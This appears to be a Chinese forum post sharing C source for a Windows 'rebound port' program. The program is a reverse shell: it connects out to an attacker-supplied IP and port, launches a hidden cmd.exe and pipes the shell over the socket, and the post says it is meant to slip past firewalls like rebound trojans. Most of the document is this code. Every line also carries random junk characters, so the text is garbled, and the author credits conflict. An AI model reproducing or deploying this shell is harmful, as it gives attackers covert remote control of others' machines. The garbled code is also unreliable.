Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 -;8a* F  
-sf[o"T,j  
/* ============================== wNl6a9#  
Rebound port in Windows NT *'-C/  
By wind,2006/7 ;#Qv )kS*  
===============================*/ bhg6p$411
 
#include 4/\Ynb.L  
#include < fe.  
c>c4IQ&d  
#pragma comment(lib,"wsock32.lib") txMC^-J2l  
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void OutputShell(); E*tT^x)  
SOCKET sClient; ;InMgo,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &'DR`e O)  
s/>0gu]A8  
void main(int argc,char **argv) ./DlHS;  
{ 6W]C`  
WSADATA stWsaData; v^t oe  
int nRet; RxV " ,  
SOCKADDR_IN stSaiClient,stSaiServer; )eSQce7H  
dci,[TEGu  
if(argc != 3) ?qHQ#0 @y]  
{ =<#++;!I  
printf("Useage:\n\rRebound DestIP DestPort\n"); S}Z@g  
return; 6v}q @z  
} 41.xi9V2  
X?u=R)uG  
WSAStartup(MAKEWORD(2,2),&stWsaData); Je^;[^  
is%ef  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xfb-< Q0A  
i8cmT+}>  
stSaiClient.sin_family = AF_INET; I3Z\]BI  
stSaiClient.sin_port = htons(0); @3b@]l5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %/nDG9l  
K'E)?NW69  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) EN}4-P/
5  
{ G:|]w,^i  
printf("Bind Socket Failed!\n"); 8WQc8  
return; pfl^GgP#  
} XfIsf9  
hCX/k<}I  
stSaiServer.sin_family = AF_INET; ?mVS
c/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u]9 #d^%V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); NYxL7:9  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 09Q5gal  
{ PRyzvc~  
printf("Connect Error!"); x=\W TC  
return; hSps9*y  
} 0;w 4WJJ  
OutputShell(); u,=?|M\  
} hDoFF8)c  
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void OutputShell() ?c_:S]^  
{ oj?y_0}:^  
char szBuff[1024]; #'i,'h+F  
SECURITY_ATTRIBUTES stSecurityAttributes; ofYZ!-V  
OSVERSIONINFO stOsversionInfo; h y\iot  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]gA2.,)}D  
STARTUPINFO stStartupInfo; #c/K.?  
char *szShell; BOdlz#&s  
PROCESS_INFORMATION stProcessInformation; NUh%\{  
unsigned long lBytesRead; NP!LBB)=Y  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Az?^4 1r8  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); d,'gh4C  
stSecurityAttributes.lpSecurityDescriptor = 0; 4] u\5K-  
stSecurityAttributes.bInheritHandle = TRUE; jQfnc:
'  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r#}o +3*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); = ~*Vfx  
u<Ch]m+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _3g!_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "-IF_Hid  
stStartupInfo.wShowWindow = SW_HIDE; .%0a  
stStartupInfo.hStdInput = hReadPipe; 64'sJc.   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7^#O{QYol  
pgv, Su  
GetVersionEx(&stOsversionInfo); rof9Rxxe-  
 ME5M;bz(  
switch(stOsversionInfo.dwPlatformId) tC=K;zsXpz  
{ d7Cs a c  
case 1: c[vFh0s"m  
szShell = "command.com"; BryD?/}P)M  
break; J'&K  
default: 4^ 0CHy  
szShell = "cmd.exe"; !Ap*PL  
break; !"F8jA}  
} G;pc,\MF  
PVQn$-aq1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); EyV5FWb58  
e!k4Ij-]  
send(sClient,szMsg,77,0); YQ1rS X3  
while(1) %r(qQM.Pl  
{ G]Im.x3O-  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vZqW,GDfXo  
if(lBytesRead) cwHbm%  
{ au+:-Khm  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]%G#x  
send(sClient,szBuff,lBytesRead,0); [KW)z#`*  
} zCS }i_ p  
else cw_B^f8^  
{ x%dVD  
lBytesRead=recv(sClient,szBuff,1024,0); 3r?T|>|  
if(lBytesRead<=0) break; 3n_t^=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,RAP_I!_x  
} a]8W32  
} XHJ/211  
6jov8GIAt  
return; J0t_wMJa  
}